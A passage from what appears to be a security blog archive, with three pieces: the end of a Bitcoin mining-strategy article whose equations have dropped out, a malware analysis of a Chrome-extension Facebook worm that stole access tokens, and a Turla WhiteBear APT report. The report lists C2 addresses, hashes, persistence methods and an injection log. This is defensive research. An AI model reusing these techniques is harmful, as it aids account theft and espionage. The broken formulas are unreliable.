  2. If a smart miner turns off his mining rig, the network will produce 2016 blocks within the period that will take as much time.
    For example, if x = 1/3, then it will take one and a half as much time to finish the task.
  3. After the end of the period when the network adapts the difficulty, and the smart miner turns on the rig, the network will complete the task (1 − x) times faster than the planned two weeks.
    For example, if x = 1/3, then it will require 2/3rd of the regular time after the rig has been turned on, which is approximately 10 days.
  4. The total duration of the two periods will be () × (2 weeks);
  5. Thus, in regular conditions (without downtime), working during these two periods lets miners earn
    Pregular operation = () × (A − C) = () × (A − C)
    This means that all of the miners earn a little more than double the net profit for the prolonged conventional period.
  6. A smart miner who operates with downtime will earn nothing for the first period, but the second period (the shorter one) will yield
    Psmart = Ax − Cx(1 − x) = Ax − Cx + Cx2
    This means that the smart miner gains a single regular net profit and additionally saves up the share of x of the costs.
  7. During the slow period, all of the non-disconnected miners will earn Pslow period  = A − C,
    and for the fast period: Pfast period  = A − C (1 − x), as the reward is the same, but they work faster.

It is easy to see the following:

  • If the expenditures of miners are precisely equal to their rewards (the miners work with a margin of zero), then the clever approach would let them gain a net profit of Ax2.
  • If miners pay no electricity costs (a margin of 100%), then they will earn more than double the amount of income within the period of regular operation and a only one regular amount of income when working with downtime.
  • Let’s find out how much of the rig power x should be turned off in order to maximize the revenue for all miners with a margin of M = (A − C)/A:

maxx(Pslow period + Pfast period  − Pregular operation) =

maxx( − ()

maxx( − ()M)

maxx() =

maxx()

This equation reaches its maximum at x = 1 −  . For example, smart miners should temporarily disable 80% of their rig power when M = 4%.

Why miners are not using the described strategy right now


The increase of hashrate on the Bitcoin network. The hashrate of the network has grown by 4 times in a year (Source)


The increase in difficulty on the Bitcoin network for the entire time period. Starting January 2016, the difficulty has been increased by 8 times, just like the value of bitcoin (Source)

The described strategy makes sense only under the condition that the overall network difficulty does not increase over time. Otherwise, turning off rigs will not lead to a decrease in difficulty, which makes this economically unviable.

Up until now, mining hashrates have been increasing at a fast tempo; this is a consequence of the growth of the bitcoin exchange rate. The income of miners is estimated in bitcoins, but they pay for costs in traditional currency.


The growth rate of bitcoin value (Source)

Nevertheless, it would be reasonable to suppose that if the bitcoin does not endlessly grow in price, then at some time introducing new mining hashrates would not be economically viable and electricity costs would sooner or later be practically equal to the reward.

The dangers of turning off mining hashrates

When new mining hashrates are no longer introduced, miners will may resort to the above-mentioned strategy.


An estimate of hashrate distribution among the largest mining pools (Source)

If mining pools maximize their own profit, then 75% of hashrates are expected to be turned off at a margin of 6.25%. There is no sense in switching off more rigs, as the network will not reduce its difficulty by more than 4 times.

After that, in order to carry out a 51% attack, a fraudster must either control more than one half of the remaining hashrate (which can be easily done with the current distribution of hashrates) or suddenly turn on more rigs than were working before (which is currently unfeasible, considering the share of the largest pool).

Now, the question arises as to whether attacking the network is profitable for a person who has invested considerable amounts into increasing mining hashrates. Well, the answer is “yes, it is profitable”. In case of low mining marginality, the price of the existing mining rig is decreased too. In other words, if mining brings no revenue, then playing honestly will no longer be viable. Aside from that, the attacking party may remain anonymous and, among other things, speculate for a fall of the bitcoin price.

A Bitcoin Cash attack

We are intentionally not considering a situation where the price of electricity quickly and significantly goes up or where the price of bitcoins falls quickly and by a significant amount (which is much more likely to happen). If that happens, then the miners’ strategy is quite obvious. During drastic price variations, all miners will turn off their rigs. Perchance, only those who take advantage of free electricity will stay afloat. In that case, network operation will simply stop: finishing the “two weeks” will require a lifetime, while the inability to carry out a transaction will lower the bitcoin’s price even more.

Our colleague from BitcoinMagazine analyzed the situation with the Bitcoin Cash currency just the other day. This currency appeared after Bitcoin network split on August 1, 2017. The new currency has a feature called Emergency Difficulty Adjustment (EDA). The EDA allows for adaptation of the difficulty on the Bitcoin Cash network even more often. This means that the difficulty is lowered by 20% if fewer than 6 blocks were mined in the span of 12 hours. The author comes to a conclusion similar to ours, but what’s more important is that he mentions that he has already been observing manipulations by smart miners. He fears destabilization of the Bitcoin Cash network and is counting on a prompt solution from developers.

Conclusion

We have analyzed one of the economically viable strategies of honest miners after the hashrate of the Bitcoin network stops growing. We have also calculated some of the key values of this strategy and inferred that using it is profitable for each individual participant but also considerably increases the risk of a 51% attack and a potential crash of the Bitcoin network as a whole.

If all of the miners were capable of coming to a solid agreement, they would go even further by turning off all but one of the rigs. This would be optimal in respect to revenue but fatal from the point of view of network security.

How should miners act in order to guarantee security? Here we can see a couple of analogies. The first one is an overproduction crisis. When this happens, manufacturers come to an agreement to publicly eliminate some of their products (at least, this was how it happened in the Middle Ages). The second one is nuclear disarmament, where countries that own large arsenals of nuclear weapons arrange for their proportional reduction.

Ideally, all miners should agree on turning off some of their rigs and, above all, on the controlled destruction of their rigs. It would be important not only to destroy rigs systematically but to control their production in a strict manner as well.

We do not have to rely on such a “peaceful” resolution. The recent split of the Bitcoin chain into two chains and the formation of Bitcoin Cash reveal that miners are not always able or have the desire to solve common problems together. It is possible that the ability to cooperate will become a decisive factor in the future.

Only time will tell how our theoretical research corresponds with actual practice.

2017. augusztus 31.

Dissecting the Chrome Extension Facebook malware

It’s been a few days since Kaspersky Lab’s blog post about the Multi Platform Facebook malware that was spread through Facebook Messenger. At the same time as Kaspersky Lab were analyzing this threat, a few researchers where doing the same, including Frans Rosén, Security Advisor at Detectify.

After Frans saw David’s tweet about the blog post, he called David and asked why they were both doing the same job. Frans had a good point, so they started to compare notes and found out that Frans had actually analyzed some of the parts that David hadn’t. They decided to jointly write this second part of the analysis, which is going to describe the attack in detail.

Spreading mechanism

Frans spent quite some time analyzing the JavaScript and trying to figure out how the malware was spreading, which might seem like a simple task but it wasn’t. There were multiple steps involved trying to figure out what the Javascript payloads did. Also, since the script dynamically decided when to launch the attack, it had to be monitored when the attackers triggered it.

The conclusions can be broken down into a few steps, because it’s not only about spreading a link, the malware also notifies the attackers about each infection to collect statistics, and enumerates browsers. We tried summarizing the steps as simply as possible below:

  1. The victim receives a link on Facebook Messenger from a friend.
  2. The link goes to Google Docs with an image that looks like a fake video player with the friend’s profile picture.
  3. Clicking on that link using Chrome will send you to a fake YouTube page that asks you to install a Chrome Extension directly on the page.
  4. Installing that Chrome Extension will then spread malicious links to the victim’s online friends, combined with the victim’s profile picture.

There are some interesting things in all these steps, so we will take a closer look below.

Technical details Facebook message

The message itself will consist of the first name of the user that gets the message, the word “Video” and one of these emojis selected at random:

together with a link created with a URL shortener.

Google Docs shared PDF preview

Clicking on the link will redirect the user to a URL on docs.google.com. This link is made by using the preview link of a shared PDF, most likely because it is the quickest way to get a large controlled content area on a legit Google domain with an external link.

The PDF itself is created using PHP with TCPDF 6.2.13 and then uploaded to Google Docs using Google Cloud Services. Clicking the will send us to a page containing details about the PDF file being previewed.

The share settings are an interesting detail about the link created:

“Anyone can edit”. This configuration means that anyone who has the link can actually edit it. Looking at how these links spread, the attack reuses the same link for all the victim’s friends. One friend changing the access rights of the link could potentially prevent the attack from spreading to the victim’s other friends.

Another interesting detail is the user who created the file. Collecting a bunch of examples, we can see some patterns:

These were four links created for different victims, but three of them share the same IAM username (ID-34234) even though they were created using different Google Cloud Projects.

At the time of the attack, none of the URLs being linked from the PDF preview were blacklisted by Google.

Redirect party

After the Google Docs link is clicked, the user will go through a bunch of redirects, most likely fingerprinting the browser. Below, we will focus on Chrome as it is clear it was one of the targeted browsers for the spreading mechanism.

For the other browsers, ads were shown and adware was downloaded, read more about this under Landing Pages below.

Fake YouTube page with Chrome Extension installation

When using Chrome, you are redirected to a fake YouTube page. We noticed several different domains being used during the attack.

This page will also ask you to install a Chrome Extension. Since you can install a Chrome Extension directly on the page, the only action the victim had to perform was to click “Add extension”. No other interaction after that point was needed from the victim for the attack to spread further.

Chrome Extension

Several different Chrome Extensions were used. All of the extensions were newly created and the code was stolen from legit extensions with similar names. The differences in the extensions’ Javascript code were the background.js and a modification in the manifest.json.

The manifest was changed to allow control over tabs and all URLs, and also to enable support for the background script:

The background script was obfuscated differently in all the Chrome Extensions we found, but the basic concept looked like this:

Obfuscated background script

This script was interesting in many ways.

First, the background script would fetch an external URL only if the extension was installed from the Chrome Webstore; a version installed locally using an unpacked extension would not trigger the attack.

The URL being fetched would contain a reference to another script. This script would be sent into a Javascript blob using URL.createObjectURL and then executed in the background script.

This new script from the blob would also be obfuscated. It looked like this:

What happens here is the following:

  1. Add a listener to all tabs when the tab has loaded successfully.
  2. When the tab is loaded, make a new request to another URL. If the response contains anything, it will send it to the tab that triggered it using executeScript. This will run the Javascript in the context of the tab making the request, basically injecting an XSS that will trigger directly.
Getting all the scripts

When doing the research trying to identify the file that was being injected, I noticed that the attackers’ command and control server did not always return any code. My guess is that they were able to trigger when the attack should spread or not either manually or by specify when the attack should start.

To avoid sitting and waiting for a request to hit, I built my own pseudo extension doing the same thing as they did, but instead of triggering the code, I saved it locally.

Browsing around for a while, I noticed I got a bunch of hits. Their endpoint was suddenly returning back code:

The code returned was not obfuscated in any way, and had a simple flow of what it should do. It was fully targeted towards Facebook.

The script did the following:

  • Check that the domain it ran on contained facebook.com
  • Extract the CSRF token for a requests on Facebook, called fb_dtsg. Check if it had already fetched the access token (being used to make authenticated calls to the Facebook API). If not, it would make a request which is commonly made on Android to get the access token using the CSRF token.
  • Send the access token + profile ID to an external site owned by the attackers.
  • Make sure that the platform functionality is enabled (disabling the platform kill-switch):
  • Create a legacy access token. It turns out that Facebook has deprecated their FQL API, which is an old way of talking with the Facebook API:But the attackers found out that if you made an access token using the app called “Pages Manager for iOS”, the FQL API would still be enabled.

Now, let’s move on to the most interesting parts of what the script did.

Analytics for the attackers, liking a Facebook page

The script would like a page on Facebook that was hardcoded in the script. This was most likely used by the attackers to count the amount of infected users by keeping an eye on the amount of likes on this page.

Watching the page used during one phase of the attack, the amount increased fast, from 8,900 at one point:

and up to 32,000 just a few hours later:

It was also clear that they had control over when it should trigger or not using the script fetcher from the Command and Control, since the amount of likes increased at extremely varying speeds during the attack.

They also changed pages during the attack, most likely because they were closed down by Facebook.

Fetching your friends

Since the attackers now had an FQL-enabled access token, they could use the deprecated API to fetch the victim’s friends sorted by date of their online presence, getting the friends that were online at the time.

They randomized these friends picking 50 of them each time the attack would run only if the friends were marked as idle or online.

A link was then generated by a third domain, which only received the profile ID of the user. This site most likely created the PDF on Google Docs with the profile picture of the current victim and passed the public link back through a URL shortener.

After the link was fetched, a message was created randomly for each friend, but the link was reused among them.

Interesting details

Some parts of the injected code were never used, or were leftovers from previous attacks.

One part was the localization function to send messages in the proper locale of each friend. This was replaced by the random emoji in the live attack:

login.php

Some files on the domains used had some easy to guess PHP files still on the server such as login.php. That one exposed a login script to Facebook together with a hardcoded email address:

Versioning

We noticed multiple versions of the injected Facebook script being used. At the end of the attack, the script only liked the Facebook page and did not spread at all. Also, the domain being used to gather access tokens was removed from the script.

Landing pages

As already mentioned, the script also enumerates which browser you are using. The Chrome extension part is only valid for victims using Google Chrome. If you are using a different browser, the code will execute other commands.

What makes this interesting is that they have added support for most of the operating systems; we were not able to collect any samples targeting the Linux operating system.

All of the samples that we collected where identified as Adware, and before the victim landed on the final landing page, they were redirected through several tracking domains displaying spam/ads. This is an indication that the people behind this scam were trying to earn money from clicks and distributing spam and ads.

Safari
  • MD5 (AdobeFlashPlayerInstaller.dmg) = d8bf71b7b524077d2469d9a2524d6d79
  • MD5 (FlashPlayer.dmg) = cfc58f532b16395e873840b03f173733
  • MD5 (MPlay.dmg) = 05163f148a01eb28f252de9ce1bd6978

These are all fake Adobe Flash updates, but the victim ends up at different websites every time, it seems that they are rotating a set of domains for this.

Mozilla Firefox
  • MD5 (VideoPlayerSetup_2368681540.exe) = 93df484b00f1a81aeb9ccfdcf2dce481
  • MD5 (VideoPlayerSetup_3106177604.exe) = de4f41ede202f85c370476b731fb36eb

“I was infected by this, what do I do?”

The Google Chrome Security Team has disabled all the malicious extensions, but when the attackers infected your Facebook profile they also stole an access-token from your Facebook account.

With this access-token the attackers will be able to gain access to your profile again, even if you have for example: Changed your password, signed out from Facebook or turned off the platform settings in Facebook:

We are currently discussing this with Facebook but at the moment it seems like there is no simple way for a victim to revoke the token the attackers stole.

It’s highly recommended that you update your Anti Virus solution because the malicious domains and scripts have been blocked.

Summary

The attack relied heavily on realistic social interactions, dynamic user content and legit domains as middle steps. The core infection point of the spreading mechanism above was the installation of a Chrome Extension. Be careful when you allow extensions to control your browser interactions and also make sure you know exactly what extensions you are running in your browser. In Chrome, you can write chrome://extensions/ in your URL field to get a list of your enabled extensions.

We would like to give out special thanks to the following people who helped us shut down the attack as much as possible:

  • Marc at CloudFlare
  • Trevor Pottinger at Facebook
  • April Eubank at Facebook
  • Rodrigo Paim at Facebook
  • Adam Rudderman and Jack Whitton of the Facebook Security team
  • Nav Jagpal at Google

Without your help this campaign would have been much more widespread. Thank you for your time and support! Also thanks to @edoverflow for poking at the obfuscated code at the same time as us.

2017. augusztus 30.

Introducing WhiteBear

As a part of our Kaspersky APT Intelligence Reporting subscription, customers received an update in mid-February 2017 on some interesting APT activity that we called WhiteBear. Much of the contents of that report are reproduced here. WhiteBear is a parallel project or second stage of the Skipper Turla cluster of activity documented in another private intelligence report “Skipper Turla – the White Atlas framework” from mid-2016. Like previous Turla activity, WhiteBear leverages compromised websites and hijacked satellite connections for command and control (C2) infrastructure. As a matter of fact, WhiteBear infrastructure has overlap with other Turla campaigns, like those deploying Kopiluwak, as documented in “KopiLuwak – A New JavaScript Payload from Turla” in December 2016. WhiteBear infected systems maintained a dropper (which was typically signed) as well as a complex malicious platform which was always preceded by WhiteAtlas module deployment attempts. However, despite the similarities to previous Turla campaigns, we believe that WhiteBear is a distinct project with a separate focus. We note that this observation of delineated target focus, tooling, and project context is an interesting one that also can be repeated across broadly labeled Turla and Sofacy activity.

From February to September 2016, WhiteBear activity was narrowly focused on embassies and consular operations around the world. All of these early WhiteBear targets were related to embassies and diplomatic/foreign affair organizations. Continued WhiteBear activity later shifted to include defense-related organizations into June 2017. When compared to WhiteAtlas infections, WhiteBear deployments are relatively rare and represent a departure from the broader Skipper Turla target set. Additionally, a comparison of the WhiteAtlas framework to WhiteBear components indicates that the malware is the product of separate development efforts. WhiteBear infections appear to be preceded by a condensed spearphishing dropper, lack Firefox extension installer payloads, and contain several new components signed with a new code signing digital certificate, unlike WhiteAtlas incidents and modules.

The exact delivery vector for WhiteBear components is unknown to us, although we have very strong suspicion the group spearphished targets with malicious pdf files. The decoy pdf document above was likely stolen from a target or partner. And, although WhiteBear components have been consistently identified on a subset of systems previously targeted with the WhiteAtlas framework, and maintain components within the same filepaths and can maintain identical filenames, we were unable to firmly tie delivery to any specific WhiteAtlas component. WhiteBear focused on various embassies and diplomatic entities around the world in early 2016 – tellingly, attempts were made to drop and display decoy pdf’s with full diplomatic headers and content alongside executable droppers on target systems.

Technical Details

The WhiteBear platform implements an elaborate set of messaging and injection components to support full presence on victim hosts. A diagram helps to visualize the reach of injected components on the system.

WhiteBear Binary loader

Sample MD5: b099b82acb860d9a9a571515024b35f0
Type PE EXE
Compilation timestamp 2002.02.05 17:36:10 (GMT)
Linker version 10.0 (MSVC 2010)
Signature “Solid Loop Ldt” UTCTime 15/10/2015 00:00:00 GMT – UTCTime 14/10/2016 23:59:59 GMT

The WhiteBear binary loader maintains several features including two injection methods for its (oddly named) “KernelInjector” subsystem, also named by its developer
– Standart
– WindowInject (includes an unusual technique for remotely placing code into memory for subsequent thread execution)

The loader also maintains two methods for privilege and DEP process protection handling:
– GETSID_METHOD_1
– GETSID_METHOD_2

The binary contains two resources:
– BINARY 201
– File size: 128 bytes
– Contains the string, “explorer.exe”
– BINARY 202
– File size: 403456 bytes
– File Type: PE file (this is the actual payload and is not encrypted)
– This PE file resource stores the “main orchestrator” .dll file

Loader runtime flow

The loader creates the mutex “{531511FA-190D-5D85-8A4A-279F2F592CC7}”, and waits up to two minutes if it is already present while logging the message “IsLoaderAlreadyWork +”. The loader creates the mutex “{531511FA-190D-5D85-8A4A-279F2F592CC7}”, and waits up to two minutes. If it is already present while logging the message “IsLoaderAlreadyWork +”, it extracts the resource BINARY 201. This resource contains a wide string name of processes to inject into (i.e. “explorer.exe”).

The loader makes a pipe named: \\.\pipe\Winsock2\CatalogChangeListener-%03x%01x-%01x

Where the “%x” parameter is replaced with the values 0xFFFFFFFF 0xEEEEEEEE 0xDDDDDDDD, or if it has successfully obtained the user’s SID:
\\.\pipe\Winsock2\CatalogChangeListener-%02x%02x-%01x
With “%x” parameters replaced with numbers calculated from the current date and a munged user SID.

The pipe is used to communicate with the target process and the transport module; the running code also reads its own image body and writes it to the pipe. The loader then obtains the payload body from resource BINARY 202. It finds the running process that matches the target name, copies the buffer containing the payload into the process, then starts its copy in the target process.

There are some interesting, juvenile, and non-native English-speaker debug messages compiled into the code:
– i cunt waiting anymore #%d
– lights aint turnt off with #%d
– Not find process
– CMessageProcessingSystem::Receive_NO_CONNECT_TO_GAYZER
– CMessageProcessingSystem::Receive_TAKE_LAST_CONNECTION
– CMessageProcessingSystem::Send_TAKE_FIN

WhiteBear Main module/orchestrator

Sample MD5: 06bd89448a10aa5c2f4ca46b4709a879
Type, size: PE DLL, 394 kb
Compilation timestamp: 2002.02.05 17:31:28 (GMT)
Linker version: 10.0 (MSVC 2010)
Unsigned Code

The main module has no exports, only a DllMain entry which spawns one thread and returns. The main module maintains multiple BINARY resources that include executable, configurations, and encryption data:

101 – RSA private (!) key
102 – RSA public key
103 – empty
104 – 16 encrypted bytes
105 – location (“%HOMEPATH%\ntuser.dat.LOG3”)
106 – process names (e.g. “iexplore.exe, firefox.exe, chrome.exe, outlook.exe, safari.exe, opera.exe”) to inject into
107 – Transport module for interaction with C&C
108 – C2 configuration
109 – Registry location (“\HKCU\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Explorer\Screen Saver”)
110 – no information
111 – 8 zero bytes

Values 104 – 111 are encrypted with the RSA private key (resource 101) and compressed with bzip2.4. The RSA key is stored with header stripped in a format similar to Microsoft’s PVK; the RSA PRIVATE KEY header is appended by the loader before reading the keys into the encryption code. Resource 109 points to a registry location called “external storage”, built-in resources are called “PE Storage”.

In addition to storing code, crypto resources, and configuration data in PE resources, WhiteBear copies much of this data to the victim host’s registry. Registry storage is located in the following keys. Subkeys and stored values listed below:
[HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ScreenSaver] [HKCU\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Explorer\ScreenSaver]

Registry subkeys:
{629336E3-58D6-633B-5182-576588CF702A} Contains the RSA private key used to encrypt/decrypt other resources / resource 101
{3CDC155D-398A-646E-1021-23047D9B4366} Resource 105 – current file location
{81A03BF8-60AA-4A56-253C-449121D61CAF} Resource 106 – process names
{31AC34A1-2DE2-36AC-1F6E-86F43772841F} Contains the internet C&C transport module / resource 107
{8E9810C5-3014-4678-27EE-3B7A7AC346AF} Resource 108 – C&C config
{28E74BDA-4327-31B0-17B9-56A66A818C1D} Resource 110 “plugins”
{4A3130BD-2608-730F-31A7-86D16CE66100} Resource 111
{119D263D-68FC-1942-3CA3-46B23FA652A0} Unique Guid (“ObjectID”)
{1DC12691-2B24-2265-435D-735D3B118A70} “Task Queue”
{6CEE6FE1-10A2-4C33-7E7F-855A51733C77} “Result Queue”
{56594FEA-5774-746D-4496-6361266C40D0}  unknown
{831511FA-190D-5D85-8A4A-279F2F592CC7}  unknown

Finally, if the main WhiteBear module fails to use registry storage, it uses “FS Storage” in file %TEMP%\KB943729.log. The module reads all of its data and binary components from one of the storages and then verifies the integrity of data (RSA+bzip2 compression+signature).

The module maintains functionality which is divided into a set of subsystems that are loosely named by the developers:
• result queue
• task queue
• message processing system
• autorun manager
• execution subsystem
• inject manager
• PEStorage
• local transport manager/internal transport channel

It creates the following temporary files:
%TEMP%\CVRG72B5.tmp.cvr
%TEMP%\CVRG1A6B.tmp.cvr
%TEMP%\CVRG38D9.tmp.cvr

%TEMP%\~DF1E05.tmp contains the updated body of the loader during an update.

Every day (as specified by local time) the main module restarts the transport subsystem which includes:
• message processing
• named pipe transport (“NPTransport”)

If the registry/file storage is empty, the module performs a ‘migration’ of hardcoded modules and settings to the storage location. This data is encrypted with a new RSA key (which is also stored in the registry).

The data in the registry is prepended with a 0xC byte header. The maximum size of each registry item is 921,600 bytes; if the maximum size is exceeded, it is split into several items. The format of the header is shown below:
[4:service DWORD][4:chunk index][4:chunk size including header]

Every time the orchestrator module is loaded it validates that the storage area contains the appropriate data and that all of the components can be decrypted and validated. If these checks fail the module reinstalls a configuration from the resource “REINSTALL”.

Pipe Transport

The module generates the pipe name (with the same prefix as the loader); waits for incoming connections; receives data and pushes it to the ‘message processing system’. The module generates the pipe name (with the same prefix as the loader); waits for incoming connections; receives data and pushes it to the ‘message processing system’. Every packet is expected to be at least 6 bytes and contain the following header:      [4:ID][2:command]

List of commands:
1 : new task
2 : update the loader + orchestrator file
4 : send task result
5 : send settings
6 : write results to registry/file storage
7 : enable / disable c2 transport / update status
8 : uninstall
9 : nop
10 : “CMessageProcessingSystem::Receive_NO_CONNECT_TO_GAYZER”; write results to registry
11: write the last connection data ‘{56594FEA-5774-746D-4496-6361266C40D0}’ aka “last connection” storage value
12: “give cache” – write cached commands from the C&C
13: “take cache” – append C&C commands to the cache

Depending on the command, the module returns the results from previously run tasks, the configuration of the module, or a confirmation message.

An example of these tasks is shown below:
• write a file and execute it with CreateProcess() capturing all of the standard output
• update C&C configuration, plugin storage, etc
• update autoruns
• write arbitrary files to the filesystem (“File Upload”)
• read arbitrary files from the filesystem (“File Download”)
• update itself
• uninstall
• push task results to C2 servers

The “LocalTransport manager” handles named pipe communication and identifies if the packet received is designated to the current instance or to someone else (down the route). In the latter scenario the LocalTansport manager re-encrypts the packet, serializes it (again), and pushes the packet via a named pipe on the local network to another hop, (NullSessionPipes). This effectively makes each infected node a packet router.

The Autorun manager subsystem is responsible for tracking the way that the malicious module starts in the system and it maintains several different methods for starting automatically (shown below):
LinkAutorun The subsystem searches for a LNK file in the target directory, changes the path to “cmd.exe” and the description to ‘ /q /c start “” “%s” && start “” “%s” ‘
TaskScheduler20Autorun The subsystem creates the ITaskService (works only on Windows Vista+) and uses the ITaskService interface to create a new task with a logon trigger
StartupAutorun The subsystem creates a LNK file in %STARTUP%
ScreenSaverAutorun The subsystem installs as a current screensaver with a hidden window
HiddenTaskAutorun The subsystem creates the task ITaskScheduler (works only on pre-Vista NT). The task trigger start date is set to the creation date of the Windows directory
ShellAutorun Winlogon registry [HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon] Shell=”explorer.exe, …”

File Uninstallation is done in a discreet manner. The file is filled with zeroes, then renamed to a temporary filename before being deleted

WhiteBear Transport library (aka “Internet Relations”, “Pipe Relations”)

Sample MD5: 19ce5c912768958aa3ee7bc19b2b032c
Type: PE DLL
Linker timestamp: 2002.02.05 17:58:22 (GMT)
Linker version: 10.0
Signature “Solid Loop Ldt” UTCTime 15/10/2015 00:00:00 GMT – UTCTime 14/10/2016 23:59:59 GMT

This transport library does not appear on disk in its PE format. It is maintained as encrypted resource 107 in the orchestrator module, then decrypted and loaded by the orchestrator directly into the memory of the target process. This C2 interaction module is independent, once started, it interacts with the orchestrator using its local named pipe.

To communicate with its C2 server, the transport library uses the system user agent or default “Mozilla/4.0 (compatible; MSIE 6.0)”.

Before attempting a connection with its configured C2 server, the module checks if the victim system is connected to Internet by sending HTTP 1.1 GET / requests to the following servers (this process stops after the first successful connection):
• update.microsoft.com
• microsoft.com
• windowsupdate.microsoft.com
• yahoo.com
• google.com

If there is no Internet connection available, the module changes state to, “CANNOT_WORK” and notifies the peer by sending command “7” over the local pipe.

The C2 configuration is obtained from the main module with the command “5”. This checks whether the module complies with the schedule specified in the C2 settings (which includes inactivity time and the interval between connections). The C2 interaction stages have interesting function names and an odd misspelling, indicating that the developer may not be a native English speaker (or may have learned the English language in a British setting):
“InternetRelations::GetInetConnectToGazer”
“InternetRelations::ReceiveMessageFromCentre”
“InternetRelations::SendMessageToCentre”
“PipeRelations::CommunicationTpansportPipe”

The module writes the encrypted log to %TEMP%\CVRG38D9.tmp.cvr The module sends a HTTP 1.0 GET request through a randomly generated path to the C2 server. The server’s reply is expected to have its MD5 checksum appended to the packet. If C2 interaction fails, the module sends the command “10” (“NO_CONNECT_TO_GAYZER”) to the orchestrator.

Unusual WhiteBear Encryption

The encryption implemented in the WhiteBear orchestrator is particularly interesting. We note that the resource section is encrypted/decrypted and packed/decompressed with RSA+3DES+BZIP2. This implementation is unique and includes the format of the private key as stored in the resource section. 3DES is present in Sofacy and Duqu2 components, however they are missing in this Microsoft-centric RSA encryption technique. The private key format used in this schema and RSA crypto combination with 3DES is (currently) unique to this threat actor.

The private key itself is stored as a raw binary blob, in a format similar to the one Microsoft code uses in PVK format. This format is not officially documented, but its structures and handling are coded into OpenSSL. This private key value is stored in the orchestrator resources without valid headers. The orchestrator code prepends valid headers and passes the results to OpenSSL functions that parse the blob.

Digital Code-Signing Certificate – Fictional Corporation or Assumed Identity?

Most WhiteBear samples are signed with a valid code signing certificate issued for “Solid Loop Ltd”, a once-registered British organization. Solid Loop is likely a phony front organization or a defunct organization and actors assumed its identity to abuse the name and trust, in order to attain deceptive code-signing digital certificates.

WhiteBear Command and Control

The WhiteBear C2 servers are consistent with long standing Turla infrastructure management practices, so the backdoors callback to a mix of compromised servers and hijacked destination satellite IP hosts. For example, direct, hardcoded Turla satellite IP C2 addresses are shown below:

C2 IP Address               Geolocation                            IP Space Owner
169.255.137[.]203         South Sudan                           IPTEC, VSAT
217.171.86[.]137           Congo                                     Global Broadband Solution, Kinshasa VSAT
66.178.107[.]140           Unknown – Likely Africa          SES/New Skies Satellites

Targeting and Victims

WhiteBear targets over the course of a couple years are related to government foreign affairs, international organizations, and later, defense organizations. The geolocation of the incidents are below:

  • Europe
  • South Asia
  • Central Asia
  • East Asia
  • South America
Conclusions

WhiteBear activity reliant on this toolset seems to have diminished in June 2017. But Turla efforts continue to be run as multiple subgroups and campaigns. This one started targeting diplomatic entities and later included defense related organizations. Infrastructure overlap with other Turla campaigns, code artifacts, and targeting are consistent with past Turla efforts. With this subset of 2016-2017 WhiteBear activity, Turla continues to be one of the most prolific, longstanding, and advanced APT we have researched, and continues to be the subject of much of our research. Links to publicly reported research are below.

Reference Set
Full IOC and powerful YARA rules delivered with private report subscription

Md5
b099b82acb860d9a9a571515024b35f0
19ce5c912768958aa3ee7bc19b2b032c
06bd89448a10aa5c2f4ca46b4709a879

IP
169.255.137[.]203
217.171.86[.]137
66.178.107[.]140

Domain(s)
soligro[.]com – interesting because the domain is used in another Turla operation (KopiLuwak), and is the C2 server for the WhiteBear transport library
mydreamhoroscope[.]com

Example log upon successful injection

|01:58:10:216|.[0208|WinMain ]..
|01:58:14:982|.[0209|WinMain ].******************************************************************************************
|01:58:15:826|.[0212|WinMain ].DATE: 01.01.2017
|01:58:21:716|.[0215|WinMain ].PID=2344.TID=1433.Heaps=3
|01:58:22:701|.[0238|WinMain ].CreateMutex = {521555FA-170C-4AA7-8B2D-159C2F491AA4}
|01:58:25:513|.[0286|GetCurrentUserSID ]._GETSID_METHOD_1_
|01:58:26:388|.[0425|GetUserSidByName ].22 15 1284404594 111
|01:58:27:404|.[0463|GetUserSidByName ].S-1-5-31-4261848827-3118844265-2233733001-1000
|01:58:28:263|.[0471|GetUserSidByName ].
|01:58:29:060|.[0165|GeneratePipeName ].\\.\pipe\Winsock2\CatalogChangeListener-5623-b
|01:58:29:763|.[0275|WinMain ].PipeName = \\.\pipe\Winsock2\CatalogChangeListener-5623-b
|01:58:30:701|.[0277|WinMain ].Checking for existence…
|01:58:31:419|.[0308|WinMain ].— Pipe is not installed yet
|01:58:32:044|.[0286|GetCurrentUserSID ]._GETSID_METHOD_1_
|01:58:32:841|.[0425|GetUserSidByName ].22 15 1284404594 111
|01:58:33:701|.[0463|GetUserSidByName ].S-1-5-31-4261848827-3118844265-2233733001-1000
|01:58:34:419|.[0471|GetUserSidByName ].
|01:58:35:201|.[0318|WinMain ].Loading…
|01:58:35:763|.[0026|KernelInjector::KernelInjector ].Address of marker: 0x0025F96C and cProcName: 0x0025F860
|01:58:36:513|.[0031|KernelInjector::KernelInjector ].Value of marker = 0xFFFFFEF4
|01:58:37:279|.[0088|KernelInjector::SetMethod ].m_bAntiDEPMethod = 1
|01:58:38:419|.[0564|QueryProcessesInformation ].OK
|01:58:41:169|.[0286|GetCurrentUserSID ]._GETSID_METHOD_1_
|01:58:42:076|.[0425|GetUserSidByName ].22 15 1284404594 111
|01:58:42:748|.[0463|GetUserSidByName ].S-1-5-31-4261848827-3118844265-2233733001-1000
|01:58:43:169|.[0471|GetUserSidByName ].
|01:58:43:701|.[0309|FindProcesses ].dwPID[0] = 1260
|01:58:44:560|.[0345|WinMain ].try to load dll to process (pid=1260))
|01:58:45:013|.[0088|KernelInjector::SetMethod ].m_bAntiDEPMethod = 1
|01:58:45:873|.[0094|KernelInjector::LoadDllToProcess ].MethodToUse = 1
|01:58:46:544|.[0171|KernelInjector::GetProcHandle ].pid = 1260
|01:58:47:279|.[0314|KernelInjector::CopyDllFromBuffer ].Trying to allocate space at address 0x20020000
|01:58:48:404|.[0332|KernelInjector::CopyDllFromBuffer ].IMAGEBASE = 0x20020000.ENTRYPOINT = 0x2002168B
|01:58:48:763|.[0342|KernelInjector::CopyDllFromBuffer ].ANTIDEP INJECT
|01:58:49:419|.[0345|KernelInjector::CopyDllFromBuffer ].Writing memory to target process….
|01:58:49:935|.[0353|KernelInjector::CopyDllFromBuffer ].Calling to entry point….
|01:58:51:185|.[0598|KernelInjector::CallEntryPoint ].CODE = 0x01FA0000, ENTRY = 0x2002168B, CURR = 0x77A465A5, TID = 1132
|01:58:55:544|.[0786|KernelInjector::CallEntryPoint ]._FINISH_ = 1
